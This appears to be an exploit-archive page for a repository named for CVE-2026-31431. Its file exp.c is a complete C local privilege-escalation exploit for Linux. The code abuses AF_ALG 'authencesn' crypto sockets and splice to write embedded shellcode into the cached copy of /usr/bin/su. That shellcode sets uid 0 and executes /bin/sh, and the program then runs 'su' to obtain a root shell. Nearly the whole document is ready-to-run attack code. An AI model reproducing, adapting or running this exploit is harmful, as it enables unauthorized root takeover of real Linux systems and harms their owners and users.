Exploit databaseDownload repository ZIP
GH-dc408e03bd7364d1e6648329b64a8f0e
jnamerz/copyfail-cve-2026-31431
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
jnamerz/copyfail-cve-2026-31431Revision 4d3c67c6be05
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exp.c
C · 4,409 bytes#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
unsigned char *d(const char *hex, size_t *out_len)
{
size_t len = strlen(hex);
unsigned char *buf = malloc(len / 2);
for (size_t i = 0; i < len / 2; i++) {
unsigned int byte;
sscanf(hex + 2 * i, "%2x", &byte);
buf[i] = (unsigned char)byte;
}
*out_len = len / 2;
return buf;
}
/* ========== os.open ========== */
int os_open(const char *path, int flags)
{
return open(path, flags);
}
/* ========== os.pipe ========== */
void os_pipe(int pipefd[2])
{
pipe(pipefd);
}
/* ========== os.splice ========== */
ssize_t os_splice(int fd_in, int fd_out, size_t len, loff_t offset_src)
{
loff_t *off = (offset_src >= 0) ? &offset_src : NULL;
return splice(fd_in, off, fd_out, NULL, len, 0);
}
int alg_setup(void)
{
int a = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
};
memcpy(sa.salg_type, "aead", 5);
strncpy((char *)sa.salg_name,
"authencesn(hmac(sha256),cbc(aes))",
sizeof(sa.salg_name) - 1);
bind(a, (struct sockaddr *)&sa, sizeof(sa));
size_t klen;
unsigned char *key = d("0800010000000010"
"00000000000000000000000000000000"
"00000000000000000000000000000000", &klen);
setsockopt(a, SOL_ALG, ALG_SET_KEY, key, klen);
free(key);
setsockopt(a, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
int u = accept(a, NULL, NULL);
close(a);
return u;
}
void alg_sendmsg(int sk, const unsigned char *c4)
{
unsigned char iv[20] = {0};
iv[0] = 0x10;
unsigned char assoc[4] = {0};
assoc[0] = 0x08;
unsigned char op[4] = {0};
char data[8] = { 'A', 'A', 'A', 'A', c4[0], c4[1], c4[2], c4[3] };
struct iovec iov = {
.iov_base = data,
.iov_len = 8,
};
char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];
memset(cbuf, 0, sizeof(cbuf));
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_OP;
cm->cmsg_len = CMSG_LEN(4);
memcpy(CMSG_DATA(cm), op, 4);
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_IV;
cm->cmsg_len = CMSG_LEN(20);
memcpy(CMSG_DATA(cm), iv, 20);
cm = CMSG_NXTHDR(&msg, cm);
cm->cmsg_level = SOL_ALG;
cm->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cm->cmsg_len = CMSG_LEN(4);
memcpy(CMSG_DATA(cm), assoc, 4);
sendmsg(sk, &msg, 32768); /* SPLICE_F_MORE */
}
unsigned char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x0f, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05, 0x31, 0xff, 0x6a, 0x3c, 0x58, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x00, 0x00
};
int main() {
int f = os_open("/usr/bin/su", O_RDONLY);
int len = sizeof(shellcode);
for (size_t i = 0; i < len; i += 4) {
int u = alg_setup();
int o = (int)i + 4;
alg_sendmsg(u, shellcode + i);
int pipefd[2];
os_pipe(pipefd);
os_splice(f, pipefd[1], o, 0);
os_splice(pipefd[0], u, o, -1);
char tmp[8];
recv(u, tmp, 8 + (int)i, MSG_DONTWAIT);
close(pipefd[0]);
close(pipefd[1]);
close(u);
}
close(f);
system("su");
exit(0);
return 0;
}